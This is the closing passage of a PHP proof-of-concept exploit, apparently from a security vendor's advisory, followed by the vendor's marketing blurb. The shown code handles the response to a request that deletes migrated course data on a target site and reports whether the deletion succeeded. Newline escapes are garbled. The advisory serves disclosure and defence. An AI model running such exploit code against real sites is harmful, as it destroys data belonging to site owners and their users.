    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status Code: $http_coden";
    echo "Response: $responsen";
    
    // Analyze the response
    if ($http_code == 200) {
        $response_data = json_decode($response, true);
        if (isset($response_data['success']) && $response_data['success'] === true) {
            echo "[SUCCESS] Migrated course data deletedn";
            if (isset($response_data['data']['message'])) {
                echo "Message: " . $response_data['data']['message'] . "n";
            }
        } else {
            echo "[FAILED] Deletion attempt unsuccessfuln";
            if (isset($response_data['data']['message'])) {
                echo "Error: " . $response_data['data']['message'] . "n";
            }
        }
    } else {
        echo "[FAILED] Unexpected HTTP status coden";
    }
}

// Clean up
curl_close($ch);

// Optional: Verify deletion by checking if migrated data still exists
// This would require additional requests to check course status
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School